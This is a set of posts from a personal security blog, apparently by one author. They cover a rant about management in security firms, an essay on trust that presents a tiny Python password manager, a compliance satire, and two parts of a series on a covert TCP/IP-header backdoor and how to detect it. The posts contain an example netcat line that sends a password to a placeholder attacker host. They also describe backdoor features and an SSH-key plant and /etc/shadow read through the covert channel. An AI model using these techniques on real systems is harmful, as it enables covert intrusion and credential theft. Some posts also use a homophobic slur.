In the Twisted mind of Upper Management

I have written before about how compliance fucks up security, this is a common ground now. This post isn’t about that, as it has been all used up in several conferences, blog posts, drunk Red Team meet-ups and so on.

This post will talk about the nonsense that takes place inside the average Security company itself. It is really astonishing how the most absurd situations just tend to all get together and find their home in Security companies.

But this whole post isn’t about that either. While some fucked up situations will be our case studies, the post will try to suggest the reason that all this shit doesn’t happen in companies that create refrigerators or condoms

 

The Model

A typical security company consists of about 3 departments. They can be 4 or 6 but they are simplified to the above 3:

  • A Red Team / Penetration Testing Team
  • A Development Team
  • A Monitoring/Operations Team

And they all suck for different reasons…

 

Stating what sucks…

The Red Team

Well, the Red Team doesn’t suck. Most of the time it is a bunch of folks that really know their shit deeply and all. What does suck is that they have to report things. And those guys, most of the time, can barely talk. Imagine how painful will be for them to write stuff. They pay for 1 hour of enjoyment (meterpreter dances, pizza breaks, pentesting vending machines and such hilarious stuff…) a total of 7 hours of hating themselves in front of a Word document, or similar text editor. They at least do what they love the 1/8 of the time…

The Developers

If you take a bunch o’ monkeys and leave them in a cage with enough pot they will eventually write a Security Product for Internal Use. This is the development department. The classic UML faggotry, Java nonsense, and such clichés all apply.

And every company has their product that isn’t of course ready yet, but it will soon be. And good Lord it is gonna kick ass when it ‘ll be…

Their reason of existence is simple. There can be no “Computer Company” without “Program Making“. It is well known that this is what Computers are all about: “Creating Programs” (in the twisted mind of upper management).

 

Monitoring/Operations

What does suck the most is the Monitoring part. And it sucks a lot. In a whole new, existential level.

If you take every guy in there they all wanted to be pentesters. Worse than that is that now they don’t know what exactly they are. And this agnostic mentality flows around the whole department. They are not sure if they maintain a Network Operation Center, a Security Operations Center, an Incident Response Center, a Log Storage Service, a Behavioral Analytics Service or a Hard Rock Cafe, whatever.

They are so clueless about their existence they need lengthy meetings to decide if they are capable of servicing a customer that needs a very specific service. They are not sure whether they support such service but they go “Fuck it” and onboard him anyway.

The only Group of people that knows exactly what kind of fruit is the Monitoring department is the Upper Management (spoiler alert: its a money and a cow, what is it?)…

 

 

Why does everything suck?

Meet the Beast: Upper Management

They couldn’t last a day in any department of the company. Most of the time they have no clue what the company is about. If you ask them: “Tell me what does your company provide without using the word ‘Security’ ?” they may get an epileptic seizure the next instant.

So Security Companies are fucked up because their bosses are collecting butterflies while they could at least study what they are being bosses at.

I mean, my idea about the Boss role (say the Platonic Idea) is the man that does the same work as you, but way better. If someone hires me that demands from me to make chickas, but he can’t do it himself, I can, very well, make chickos and he will barely notice (chickas and chickos are words I just invented, don’t google them).

But how can this work?

Spoiler Alert: It doesn’t… Have you ever heard of failure?
This situation can very well define failure. And this failure bleeds money until it bankrupts, really slowly.

This happens for a number of reasons. Someone needs to pay all those folks, working on maintaining the illusion of security to the customers.
The Company gets the annual money from contracts and projects, but instead of moving on with some education with that money, it hires more developers. Because more developers means less time for the product to come out (in the twisted mind of upper management)! And when it comes out it ‘s gonna kick ass and stop hacking worldwide! And EVERYONE is gonna buy it on a huge price anyways…
But, unfortunately when too many developers get together, nothing ever gets finished, so they could very well play Minecraft in LAN parties, or Dungeons & Dragons, or beat Piniatas and end up more productive than when actually coding for the project. Because development is something nearly impossible to do right (it takes a lot more than coding), and most of the time it becomes a black hole that  sucks money.

In the meantime someone among the pentesters has the free version of BurpSuite and the Monitoring Center has an underspecs server or two…

And how it stops (not) working…

This nonsense actually has two ways to stop:

  1. Developers suck up all the money and release no product.
  2. Developers release the product.

The first scenario is simple yet amazing. A bunch of people bring a whole company down by not doing what they had to, while working every day 9:00-17:00 (sometimes even in weekends). I find this scenario amusing! It is the college project failure scaled all the way up!

But the second scenario is the one closer to reality.
When development department proudly presents a product, that has the same functionality with a forgotten project of some Chinese guy on Github, and the whole Upper Management realises that they can’t sell this stuff because none in the security industry really needs something like this (this is also the reason the Chinese guy abandoned his project back at 2014), the company breaks down. And it does as it depended on the sales, that should have been tremendous!

 

Why those tragedies do not happen in companies that manufacture refrigerators or condoms…

Upper management can very well be non-technical in refrigerator or condom companies. But the big difference between Security companies and condom companies is the following:

Upper Management people use (or have used) condoms and will never use security products (not even nmap)!

In condom companies people that have meetings and make choices about the company do not need to be consulted about how a condom works by a specialist, or why use a condom.

In security companies, in the other hand, the non-technical upper management has no fucking clue, and will never understand if something is worth spending or not. They completely lack common sense regarding their service or product.

This can be very well understood with 3 examples:

Condom makers
[The Condom Designer]: Hey boss, I believe we need to make condoms with WiFi. The budget we 'll need is 150.000$.

[The Condom Boss]: You are fired.

This boss figured out from his* experience that condoms with WiFi are useless as fuck. This Designer got sucked and he deserved it because he lost hours trying to budgetize condoms with WiFi. Fuck him.

*: or rather “her“, I prefer female bosses.

Refrigerator makers
[The Refrigerator Designer]: Hey boss, I believe that we need to make refrigerators with microphones, cameras and TCP/IP stack to ensure good quality of service (?). The budget for this is 180.000$.

[The Refrigerator Boss]: You are fired. (hopefully)

Here the boss didn’t see the opportunity of the IoT circus. But he fired the ignorant bastard just to be on the safe side…

Security providers
[The Security Designer]: Hey boss, I believe that we need to develop a tool that can compromise every operating system, platform and network.
We 're gonna write this in Java, as it is cross platform (?), and the budget for this will be 300.000$.

[The Security Boss]: This is a great idea! We are gonna invest on this!

This boss has no idea about Cobalt Strike, Metasploit, etc. Tools that have been developed for years and are the defacto standard for the industry. He has no experience on “compromising” things.
If he ever knew what Java is all about, he would burst into tears of laughter before the Designer could finish the proposition. (For people that don’t know, Java is even worse than Ruby nowadays).
Plus the “compromise everything” sounds too bad-ass to be cheaper than 300.000$…

 

For me the last conversation has one more line:

[God] : Hey guys, come to see those two faggots! They are gonna write metasploit again, from scratch! (laughters).
In Java! (laughters)
(...laughters echo in paradise...)

I hand out to you a recipe of failure! Please stop cooking it…

 

 

 

 

 

 

 

Advertisements

Trust: a tale of Security, Philosophy, Reverse Engineering and Python

The role of Trust on InfoSec Incidents

Security boils down to be entirely about trust, if you come to think of it. Every information security incident could somehow be rephrased to include the word “Trust” in its reasons of happening. Just try anything:

  • SQL Injections all over the Web (and injection family exploits): “Mistrusted user input”.
  • Cross-Site Scripting: Mistrusting that a site will run on your browser only non-malicious code.
  • Superfish Incident: Add of an untrusted SSL Certificate in the Trust List of all computers from Lenovo.
  • Stuxnet:
    • Enough trust to a USB removable medium for it to be plugged in an “Air-gapped” computer.
    • Trust of the engineers on what they see (the backdoored health monitoring indication of the centrifuges) rather than what they hear (the centrifuges screaming as they were over-spinning).
  • Heartbleed, Shellshock: Trust on Open Source code auditing (as those were glaring bugs – and not the only ones)
  • Snowden’s leaks (it is a Security Incident for the 3-letter guys): Too much Trust on an employee (even a high positioned one).
  • … add your favorite Incident here …

And I mean all Security, Crypto included…

Encryption algorithms are trusted to be working. I mean there are Proofs on that they work (work means that decryption undoes encryption) but there aren’t proofs on that there can be no ways to deduce easily the key (easily meaning “easier than brute force”). There are also “Backdoored Ciphers” (with DES flirting closely with this speculation). Do we Trust these? Of, course not! Did we trust them before speculating or prooving they were backdoored? Sure, I mean, why not (DES was the fuckin’ Encryption Standard, as its name implies).

In the same manner: Today we trust AES. Ιf tomorrow we find out that there is a way to (instantly) decrypt every AES communication, we won’t trust it anymore. Meanwhile someone is reading us… And we have ourselves another trust-based security incident.

 

Why Trust anyway?

As  Ernst Alexander Rauter put it, in his famous “Creating subject people – How an opinion forms in the mind” (a book that isn’t sold on amazon in english – german edition),: “Trust is something that always upflows, from low power people to higher power people“. This is a very rough translation of the fact that people tend to trust things they don’t manipulate. Also people never want to feel scammed, so in defense of the exploration of an unwanted truth they prefer to just “trust“.

That’s why we trust crypto, and we trust our Operating System or our car. Because we can’t be 100% sure about their actions. So we politely assume that everything works as intended. Just to be gentle with ourselves.

 

The Trust Game in Computers

One of UNIX’s fathers, Ken Thompson, (apart from being the reason you see a.out files when compiling without arguments), implied a groundbreaking question in 1984 (a really controversial date!): “Do you trust your compiler? Do you trust your compiler so much that you are sure that when you compile the /bin/login binary, it won’t plant a backdoor in it?“. I am talking about the well-known “Ken Thompson Hack” documented in his awesome paper “Reflections on Trusting Trust“.

The truth is we trust our default gcc installation, and –seriously– never questioned it. It seems far-fetched to believe that there is such possibility. The reason for that is because we have to be reverse engineers to actually Check It. And this isn’t the case for the most of us…

 

 

Asking for and gaining Trust

My case study subject

Do you know about the kind of application called “Password Manager“? Applications like  “KeePass” that keep all your passwords in one place. They save them to disk in encrypted form and copy them to your clipboard whenever you need them, while you protect them all with a single “Master Password/Decryption Key“.

Asking for Trust

Those applications need a whole lot of trust from the users that use them. They could easily exfiltrate all your passwords to an unknown location without you noticing. In reality the only password worth exfiltrating is your email account’s password. If someone accesses your email’s password, the “Forgot my Password” button could do the rest of the work in all websites you’ve registered…

Gaining Trust

So how an application so crucial to your privacy gains Trust?

Well most of the time it doesn’t. Most of the time people assume that the binaries they download will do what they were described they do. Even their DLLs. But that’s because most people can’t actually check what an executable is doing. They trust because of their inability to know.

We need to go deeper

For an infosec researcher trust is gained. I trust that nmap works the way it works as I have wireshark‘d it a whole lot of times. I am sure https meterpreter is stealthy enough in many cases as I had it bypass my own firewall first. And I trust that keepass doesn’t make remote connections because of this:

n0p_sl3d@hostname:~$ objdump -D $(which keepassx) | grep socket
n0p_sl3d@hostname:~$

while:

n0p_sl3d@hostname:~$ objdump -D $(which netcat) | grep socket | wc -l
874

If you are used to C language Socket Programming you know that the way to open a network connection is through the socket function. And, in the untrimmed, non-statically compiled version of keepassx I use, there are no such calls in the binary. That’s definitely a good sign! Some trust is gained now!

But if you think of it, a call like:

system("echo %s | nc bad-domain.ddns.net 8080" % email_password);

doesn’t create a socket but would still exfiltrate my pass. That’s why keepass is Open Source. Just grep the code for similar looking calls, if you find any, keepass is a nasty traitor…

Sure that’s a lot of work but it is also your call how far you can go. Depending on how much you value your passwords. It’s a trade-of.

 

 For the Unconvinced

If keepass has a backdoor (while open-source) it has to be hidden in a smart way. And while you don’t know the author, you can’t be sure about his intentions. The only way to trust some things is to be 100% sure about how they operate. That brings us to the last part of this post:

 

100% Trust

The person highest in the Trust Scale, we maintain inside us, is ourselves. We ultimately believe in our eyes and hands. The Password Manager we will trust the most is the one that we will write ourselves or the one we carefully went through its code, and understood it line by line

This tends to be impossible for most Open Source projects, sometimes even for their contributors. Trust in Open Source projects suggests smaller, more comprehensive projects, in a Programming Language for humans, to be achieved in the desired 100% percent…

 

Python to the rescue!

There are like 15 actively used Programming Languages nowadays, but the ones they maintain a tiny chance of being understood in a glimpse of an eye are the english-like scripting ones (that means Python only).

So the goal was to create a Proof of Concept Python Password Manager that wouldn’t exceed 50 lines of code(single file) and will provide reasonable security, while being as easy to understand as possible maintaining the basic features. That way people would use it and be absolutely sure about what it does. The goal was to convince the unconvinced that this tool works as intended and only as intended. And here it is!

TinyPwdMan

TinyPwdMan‘s code can be found here: https://github.com/operatorequals/TinyPwdMan/blob/master/TinyPwdMan.py

The Source Code fits in a single page without scrolling! It uses master password, XOR encryption and can even copy to clipboard. It’s initial size is 38 lines.

It isn’t designed for real use (while it works flawlessly), but for a demonstration on what can really be absolutely trusted, and what is trusted because of its convenience. Because let me tell you: keepass beats that little Password Manager out of the water when it comes to convenience.

Either way, your passwords are as unsafe as the weakest link of your chain in which you use them. From mind, to keyboard, to OS, to application, to network, to the other side.

And the weakest link is not the encryption, nor the possibility of an exfiltration that would cost a Password Manager Author his reputation (once discovered), and probably his career and life.

The weakest link is you!

 

security
Source

 

 

 

How compliance kills Security (and Romance)…

Let’s say you go on a date. A first date.

You dress up like a prince and get your glossy watch on. You take an aromatic bath and brush your teeth white as deadbone. Then you spill an abundant portion of your most expensive cologne on your freshly shaved neck and leave home to find your sparkly car you washed in the morning. You fire up a Cesaria Evora CD and hit the road, sure you are gonna impress that sweetie to the bone.

Yes, you guessed it right. You are a Sales Manager.

And the date is with a manager of another company, that just happens to be female. She is gorgeous and all but you are totally interested in something else… You know she wants to get an ISO (or whatever) certification for her company, and the last requirement for the certification is a Risk Management / Penetration Test Schedule / 24-7 SIEM Service. It also just so happens that you work in a Security Company as well. And the game begins…

A game that feels more like a “cat & mouse” game than a “woman & man” game…

Step 1

She tries to convince you that she has met other guys as well, almost as handsome as you, but she really likes your ways while you try to convince her that you are the best of your kind because you have the most expensive car of all other men.

Step 2

She tries to convince you that her company has several other offers but she just wants to collaborate with you, while you try to convince her that your company has the best RA tools following the top latest standards, the most expertised Pentesters (that used to work as Hackers in the Dark Web before your company recruited them) and the Most accurate super-behavioral SIEM (based on Big Data®) on the market.

Step 3

A really romantic conversation starts about “Hacking“, Information Security, and viri – the plural of virus as it is a latin word (you will try fuckin’ everything to impress her). You mention how someone broke into your Gmail the other day, but you logged in quickly and locked him out by insta-changing the password, how you are sure that your Android Device takes pictures of you, how aware you are about e-mail phishing, and you play your final card with Advanced Persistent Threats (pronounced really slowly as English isn’t your mother tongue – and you speak in English while you are both Greek), what happened in 2009 and mr.Robot.

Those conversations make my heart warmer. Always between someone that hasn’t spawned a ‘cmd.exe‘ in his life (locally, not remotely) and someone else that Just-Only-Really needs his company certified and doesn’t give a shit about computers apart from Microsoft Excel (he is the one that runs the macros to “Enable Editing” just for the hell of it – because this button shouldn’t stay there unclicked).

So romantic that my heart skips!

Endgame / Aftersale

Her company is now a client of yours, got certified and you continue dating her… The RA/PenTest/SIEM Integration went great, found a lot of issues and all. Her company hired another company to fix the bare minimum of issues (fixing security bugs can be costly) required to pass the certification (enable some SSL, patch the Windows XPs to Service Pack 2 at least -for god’s sake-, refine the ‘any to any‘ Firewalling).

Your dates are great as well! She likes your taste in music and wine and you adore the wide smile she gives you when you talk just about anything (you remind her of her father that until her 15ish she was sure he knew everything – maybe in another article).

After a week you forgot to brush your teeth before going out with her. After two weeks you forgot your wallet at home, remembered about it just before you fire up the Cesaria Evora CD and said “Fuck it, we will eat cheap tonight” – ended up both smoking on a bench (from her cigarettes) talking about your previous relationships, eating chips. After three weeks you turned down a date with her to get wasted with your college friends and after a month you had a hot-dog with chili con-carne and jalapenos session just before you sleep at her place and farted (silently) all night long on her bed.

While you are dating, your company didn’t report all issues found at the latest PenTest and filtered out some of her companies suspicious constant behaviors us “they won’t fix them anyway” (and they won’t, that’s for sure).

In terms of relationships this phenomenon is called Over-Familiarization, in terms of companies this is called Compliance.

 

The Break-Up / End of Collaboration

One day her company’s website has a DickPic favico and a “Smoke Weed Every Day 420“-whatever Index page, while some domain user double-clicked a “CallOfDuty2_keygen.exe” or downloaded an EXE from the Internets to fix a “ntoskrnl.exe is missing” issue or the CEO clicked at an “Enlarge your Penis” spam e-mail link (spear-phishing?) and got a nasty ransomware that encrypted all SMB folders. Not to mention that some of its domains are blacklisted in spamhaus EDROP.

One day she wakes up feeling utterly neglected. She slept with the lights on, waiting for a call from him. Her mouth has that sour wakeup-taste and she is out of coffee too. Life sucked bad, but not that bad until the phone rang. She got a call from the office (she is a manager – remember! She is never at her office when she is needed) about the situation. There is another Security Company promising to “fix things“. She has to arrange a Business Meeting with her boyfriend to end the collaboration. She was also feeling like breaking-up… Perfect match.

(She knows she won’t miss his sleepovers. Not one bit)

 

The Good Guy

Oh, that new guy! He is an IT Manager in the Security Company hired to fix everything. And, good lord, he really did!

He works at the R & D department and he is every woman’s dream. He is always like “C’mon babe, let’s try something new” and she is like “That’s the first day of the rest of my life“. We could really say he patched her systems up!

He gets distant sometimes (when he stares at packets or debuggers all day without any outcome), but then he rises up again, better than before, ready for more winter roadtrips, drive-by cinema nights, coffee, cigarettes and breakfast-at-bed Day-Off mornings, or ice-cream afternoons!

 

Endline

It’s once more the who will get the girl problem. And I mean who will really get her. And it’s all about motivation. Greyhats may be “unethical” sometimes (again, it depends heavily on the context) but their heads are pure R&D labs. They lead the way, with the rest of InfoSec community chasing them (DefCon is the bright example where people with questionable ethics spill knowledge freely in every direction)…

And as long as companies rely only to compliance (with that meaning standard procedures, no research) for their income, they refuse to take part in the chase.

And real hackers will continue to really get the girls.

 

Pozzo & Lucky Busted. The Tales of a Mathematician / SOC analyst… (Part-3)

Before we even begin:

pip install entropy     # contains a C implementation of the 
                        # Shannon Entropy algorithm for byte strings
pip install fitter      # Compares datasets with known distributions
pip install pandas      # and returns similarity ratios (fitter requirement)

pip install matplotlib  # Makes python laugh in Matlab's face...

 

Ready,

"Requirement already satisfied (use --upgrade to upgrade): [...]"(2016, pip)

Windows 7 Ultimate 64 bit VM installed. Firewall is Down –I repeatFirewall is Down.

Get Set,

This Article/Post is the last of a series about steganography in IP/TCP headers and a Remote Code Execution tool that uses this technique. It will demonstrate ways of busting traffic created from this tool and maybe other similarly functioning tools. The whole background story can (and should) be read at:

Go…

 

The entropy discussion

The whole concept with randomness in Pozzo & Lucky was to trick Security Devices on thinking that the “dirty” packets were OS (or nmap) created packets and ultimately to avoid any kind of cryptanalysis. But this didn’t work so well (at least for all used TCP/IP fields).

The Good News

The good news is that the IP identification field is effectively random in OS SYN packets.

Specifically my scripts got me something like this:

Entropy for /dev/random is 0.836880 for 152 bytes
Entropy for Pozzo packets ID field is 0.836477 for 152 bytes
Entropy for Lucky packets ID field is 0.849231 for 152 bytes


Entropy for /dev/random is 0.922406 for 304 bytes
Entropy for Pozzo packets SEQ field is 0.919504 for 304 bytes
Entropy for Lucky packets SEQ field is 0.906196 for 304 bytes

for the Pozzo & Lucky command:

head /etc/shadow

To get root user’s password hash and 9 more lines. The entropy is pretty damn high for a data transfer, which means that the Rotating Encryption Scheme (explained in part-2) is working flawlessly!

The -not so- Good News

But what about a real nmap on a Windows machine (most common case)?

nmap 192.168.56.101

got us this…

Entropy for /dev/random is 0.987001 for 1982 bytes
Entropy for SYN packets ID field is 0.989606 for 2150 bytes
Entropy for RST packets ID field is 0.755026 for 1982 bytes


Entropy for /dev/random is 0.994242 for 3964 bytes
Entropy for SYN packets SEQ field is 0.272816 for 4300 bytes
Entropy for RST packets SEQ field is 0.000000 for 3964 bytes

That’s a ZERO there. Those damn RSTs always have a Sequence Number of a literal 0 in port scans. Specifically (RFC 793, page 65):

    If the state is CLOSED [...] then
      [...]  The acknowledgment and sequence field values are selected
      to make the reset sequence acceptable to the TCP that sent
      the offending segment.

      If the ACK bit is off, sequence number zero is used,   # This is a 
        <SEQ=0><ACK=SEG.SEQ+SEG.LEN><CTL=RST,ACK>            # port scan reply

      If the ACK bit is on,
        <SEQ=SEG.ACK><CTL=RST>

This sent me flying. I don’t know how I ignored it the first time I read the RFC Bible. The impact of this is simply: No Stego in Sequence Field of packets sent from the Lucky side. And that means responses will have a bandwidth of 1 byte (+1 for the opcode) coming from the IP Identification Field – not feasible.

Blind Remote Code Execution should still work as intended though

Generally the SYN packets from Pozzo seem to blend in well with the OS packets, as the OS is using randomness in the ID field. (The nmap command -without flags- doesn’t use spoofed packets, it uses the connect() System Call from the OS API. That’s why it doesn’t need root too).

A histogram equals a thousand words after all:

figure_1
Remember, the Possible values are 0-65535(2^16)

The RST packets though do not blend so very well…

 

This slideshow requires JavaScript.

And that’s because the OSes use Sequential IDs as responses to port scans instead of random values. The Lucky RSTs have really small bins all over the histograms while the OS RSTs are all interpreted as single high bins (as their values are very close).

And let’s conclude the IP Identification field analysis with some notes. In the RFC that updates (almost redefines the ID field – RFC 6864) there is a concern about Covert Channels (Security Considerations, p16) and also the idea for middle devices (routers, firewalls) to rewrite the ID field of passing packets to improve untrackability and prevent OS fingerprinting (keep this in mind for a while). Generally this RFC is the big “Ooops!!!” on the single line definition of the ID field back in IP protocol’s first definition (RFC 791).

 

The Sequence Field in TCP

Here we are really losing the battle…

Let’s look at the histograms of the SYN packet ISN values :
(max value 2^32 = 4.294.967.296 ~ 4,294 * 10^-9)

RST_SEQ_Windows.png

It is clear that nmap is failing us… It uses the same Sequence Number to knock all ports… And that is weird too. Because the “nmap -sS” is a root process and could lazily craft the same packet all over (without changing the ISN, only the Destination Port), but why the OS powered nmap? Isn’t the OS stack responsible for changing the ISN value?

A closer look at the Source Port:SYN_SPORT_Linux.png

So nmap uses the same Source Port to knock all target ports, that’s why it uses the same ISN all over. So Pozzo & Lucky can’t resemble nmap. It’s final

But what about the netcat? Leaving Pozzo & Lucky alone with netcat in a histogram shows this:SYN_SEQ_netcat.png

And yes, netcat uses multiple Source Ports, as well.SYN_SPORT_netcat.png

Here you can see that Pozzo & Lucky, uses only a range of high ports (The OTP Scheme is responsible for that), while netcat is a lot more random. While this is a recognizable pattern for sure, I don’t believe that it is a Covert Channel evidence.

 

Those RSTs…

rst_seq_linux
The Pozzo & Lucky RSTs are so scattered that can’t be seen.

This is clearly the TCP protocol violation mentioned earlier. The RSTs Sequence Number is always ZERO unless Pozzo & Lucky hacked you. This can’t be hidden. This flawed us. At least NextGen Firewalls should catch this… – or #not.

 

There is more!

Protocol field values and violations aren’t the only deviations from port scans or normal protocol usage. And while other aspects can’t be proofs of Covert Channeling they can reveal patterns and indications that will need extra analysis. And extra analysis will eventually mean “let’s look at that box a little bit, what was its hostname again?“, and then it’s Game Over. Lucky is a process, a memory dump (even if hidden correctly) will reveal it.

 

And its Time, time, time…

The timeframes between packets from the same source always reveal patterns too. Masscan, zmap, nmap and netcat are all port scanners. But they are really different in this aspect.

This is a great histogram:RST_TIME_Linux.png

Pretty self explanatory! Netcat is slower. Maybe because it switches Source Ports all the time! But what about Pozzo & Lucky?

Pozzo & Lucky by design has a lot of overhead before sending and after receiving a packet. It calculates 4 SHA512 hashes for every packet, XORs and deChunks while making dictionary lookups for the Opcodes… If netcat needs an average 0.0005 sec between packets, Pozzo & Lucky needs 0.1-0.2 sec. That’s several orders of magnitude higher.

 

 

Hands on now! What About Firewalls?

Let’s now actually check the traces! Talked too much, did too little. I hate that. Let’s get our hands dirty! Let’s establish a very sneaky backdoor using Pozzo & Lucky.

The Test Setup

The Actors

I got 2 lil’ machines. Two Ubuntu 12.04.5 32-bit VMs, not fully upgraded (who has time for upgrades), that are gonna run the experiment. One will be Pozzo and the other will be Lucky. They will be at the 2 sides of a VM Firewall.

The Cop

Who else? pfSense with Suricata plugin (IDS/IPS) will be the testbench. Suricata will have all free rules enabled in full log mode. We are gonna see everything! Snort’s registered user rules won’t be absent too!

 The (Test) Case

Pozzo host will generate an SSH key pair, will use Pozzo & Lucky to send the public key to the other side (maybe in /root/.ssh/authorized_keys) and login to Lucky Host as root interactively.

The Outcome…

Suricata and pfSense logs for both interfaces.

What you will see:

At first I turn on the syslog listener and pipe it to a file (syslog.log). Then I watch the file for changes (the sed and grep panic is just used for formatting).

I then show that a spoofed scapy RST packet raises 2 alerts, 1 from Suricata IDS and 1 from the Firewall itself. I do this to demonstrate that the logging is working as expected.

Then I start Lucky and Pozzo (the order doesn’t matter). I create the .ssh/ directory at  /root/ and append my SSH Public key in the authorized_keys file. After that I log in with SSH but unfortunately the program crashed and you can’t see that.

What you saw:
 (Left+Up-Pozzo, Left+Down-scapy, Right+Up-Lucky, Right+Center-Syslogs from pfSense, Right+Down-netcat syslog listener)

As you can see there are NO LOGS. Low rate port scans DO NOT GET LOGGED without special Firewall rules. And even getting port scan logs is useless. TCP anomaly logs (from Suricata’s encoder.alerts) could be better. None saw the Remote Command Execution we had to that Right Box… Round 1 belongs to Pozzo & Lucky!

 

The Plot Twist…

pfSense can dodge Pozzo & Lucky shell in 2-3 mouse clicks, without even knowing it…

I was always wondering who the hell has actually read the protocol RFCs. Well I got my answer today! Firewall developers read them. And read them good!

In this video pfSense totally KO’s the Stego between the 2 hosts by altering the random bits in the header by itself. This is not a new idea either!
Here goes (RFC 6864, p16 – also referenced elsewhere):

[...] (IP Identification) field can more easily be used as a covert channel.
For some atomic datagrams it is now possible, and may be desirable,
to rewrite the IPv4 ID field to avoid its use as such a channel.

And pfSense got the second round…

Is there a third round?

No, there isn’t. Both opponent aren’t ready for this… pfSense lacks protocol sanitizers as it seems (ignoring a TCP violation is a good reason to think of this), while Pozzo & Lucky isn’t smart enough to work when its bandwidth is trimmed. It just jams, losing you the root shell you painfully earned.
Maybe someday…

 

 

Final thoughts on the project

A crazy ride in TCP/IP Protocols and their implementations!

Learned about the Linux Weak Host Network Stack (RFC1122, p63), the Kernel Stack Override issue (“which packet leaves first, kernel’s or scapy’s?“) and other similar frustrating network issues…
I learned all of them the hard way and “lost” hours on trying to work around them. Made me better. And older…

 

Da Code…

When the tool becomes stable enough I will upload most of it to my github page. I will omit the parts of Command Execution while keeping the data transfer methods intact. Anyone familiar with Python can put back the Command Execution features, but I don’t want to distribute them personally. People sometimes get irresponsible if there are no logs of their actions.
I will also upload the analysis scripts I created for this Article. All histograms were created with a single button push and I find that valuable enough to share! They need a bit more polishing and they’ll be ready!

Edit 19/1/18: The code is finally available as a covertutils backdoor here. Fully documented explaining all implementation details.

Edit 15/7/17: I didn’t manage to tidy the code up to the point to not be ashamed of it so I didn’t upload it. Instead I am currently developing a whole new framework, that models all kinds of shells, and let’s a security tool developer to create his/her own Post-Exploitation tool. This framework is public at time of writing, and it can be found in this post (repo included). An (lot cleaner) implementation of Pozzo & Lucky will emerge from this eventually. I apologize for the false-promise.

 

Next Project…

Maybe the world lacks a fully customizable Network Intrusion Detection System (IDS)… Or I will stop coding to actually sit for the SPSE course. Coding doesn’t leave enough time to code sometimes! Strange but true…

 

 

Pozzo & Lucky, The phantom Shell. Stego in TCP/IP (part-2)

Some Steganography Theory Basics

In the last post (Teaching an Old Dog (not that new) Tricks), there has been some fuzz about steganography. So before we continue to part-2 let’s have a little talk about what really goes on with stego.

Stego has 2 categories:

  • We can write steganographically a Shakespeare play in an image with a number of zebras and be sure none will notice, because searching the LSB of every byte of every pixel is no sane action for anyone viewing an image. But this doesn’t mean that if you look there you won’t find the play. This type of stego is the “Hidden in plain site” stego. The whole part-1, where we pass plain data around by encapsulating it in TCP/IP headers, falls under this category.
  • The second category (the one that the above Tanenbaum example really falls under) is a lot better. It uses encryption to make sure that even if you turn the image inside-out you won’t see a trace of the Shakespeare play without knowing a certain secret (key?).

The other meaningful clarification is why it is superb to use Stego over Encryption, given that none really can read you in both techniques. The difference lies on that if you use encryption, while none can understand what you are saying (beside the authorized listener), everyone can tell that you and the listener have a communication channel, and also that you might be talking about something confidential (that has to be the reason why you are using encryption). If you use stego none can see the communication channel. So you aren’t publicly announcing that you are communicating. A communication channel that none can imagine is a covert channel.

The bad news is that stego most of the time leaves traces. And some times very self-explanatory ones. For example, LSB stego in images creates a high number of color variations that easily can be almost a proof of steganography usage. Or, in my TCP/IP stego in part-1, pushing ASCII bytes only in random fields significantly lowers the entropy of the field data, showing a communication channel possibility, or even the communication itself, to a forensics performer. And uncovering the covert channel of a Stego just downgrades it to plain Encryption.

 

And now for something completely different!

Pozzo & Lucky

Pozzo & Lucky are 2 key characters in “Waiting for Godot“. This is a Samuel Becket play, maybe the most known Samuel Becket play, and my favorite one. You can read all of it here: Act-1, Act-2 (there are just 2 acts).

Lucky is a servant with no beliefs, opinions or even thoughts of his own. He blindly obeys Pozzo, who is dragging him all over with a dog collar. He dances or even thinks whenever Pozzo commands.

In the play we have no idea why Lucky is so pathetic and lets Pozzo do all kind of nasty stuff to him. There must be a covert channel between them…

But, beside character names of an irrelevant play, Pozzo & Lucky is one personal project. A project that started with a bet. “Can there exist a Remote Command Execution shell that no network device can detect and leaves no network trace?“. I bet it can…

Well, I won my bet. This shell exists and is named Pozzo & Lucky

 

The Idea

The idea is almost close to the part-1 idea, except as hardcore as it gets. We are passing commands through IP identification and TCP sequence (ISN) fields. But, this time, we do it right…

The Pozzo & Lucky shell consists of 2 components. Lucky, which has to be installed (actually just run) on the target machine and Pozzo which is used to control the target machine after Lucky is installed in it.

The Features

  • Complete OS command execution (with and without output)
  • Remote on-the-fly Shellcode Execution (paste and BOOM)
  • File Upload/Download
  • Complete immunity to .pcap file analysis, Firewall log analysis and generally analysis without OS forensics from the target machine
  • Capability to simulate an nmap -sS port scan or any kind of SYN scan, or SYN flood to specific (or given) Destination Port(s)
  • Works (or has to work) on Windows and Linux.
  • Creates no connections. Every single packet in the same “conversation” can be send from different Source IP and to different Destination Port.

Some Drawbacks

  • Painfully slow! (Bandwidth is 5 bytes/packet, so be patient)
  • As a process it has no capabilities to hide itself or get persistent. It has to be paired with a rootkit for that.
  • Proxies kill it (while they don’t detect it). It has to work through port-forwards though.
  • Has dependencies… Scapy on Linux and Scapy with Winpcap on Windows. Both may be mitigated with a PyInstallerpy2exenuitka session (except maybe the damn .dll).

 Requirements

  • Needs root/admin privileges to get installed on the target machine (due to packet crafting and sniffing needs).
  • Needs Pozzo to be in the same subnet with Lucky (this could be the whole Internet – 2 hosts with public IPs), or at least Pozzo to have a direct TCP port route to Lucky (Lucky behind a Firewall with portforwarded just TCP port 21, would work if Pozzo sends packets to <Firewall_IP>:21.
  • Pozzo shouldn’t be behind a NAT. That is because the Source Port of the outgoing Pozzo packets is meaningful to Lucky, and NAT changes this field (as it translates it to another Source Port before forwarding with the Gateway’s IP).

 

The Concept

The target machine runs Lucky, which is basically a packet sniffer. It gets all packets arriving to the machine, and decides which of them are created by the computer running Pozzo using an algorithm described in the section “Problem Solving“.

The crucial part is that those packets do not establish connections in the target (neither TCP nor “UDP”). They are TCP SYN packets that do not abuse the TCP protocol in any way, so they pass through protocol sanity checks (performed by security devices and packet inspectors). They also are useful packets, that cannot be generally blocked in a network (unlike ICMP), as this action will render the network useless (no connections will be allowed in a network that blocks SYN packets, so no SQL, web applications, FTP, etc – you get my point…).

The fishy things with those “Pozzo packets” is that they deliver 6 bytes of data through IP identification field and TCP Sequense Number field (2 bytes + 4 bytes), in a strongly encrypted form. When Lucky encounters such a packet it extracts the 6-byte payload, splits it in a 1+5 byte form, where the first byte is an Opcode for the command to run with the next 5 bytes.

It then generates a RST-ACK packet, that doesn’t violate the TCP protocol too, and injects (encrypted as well) the response of the command executed on the target, sending it back to Pozzo.

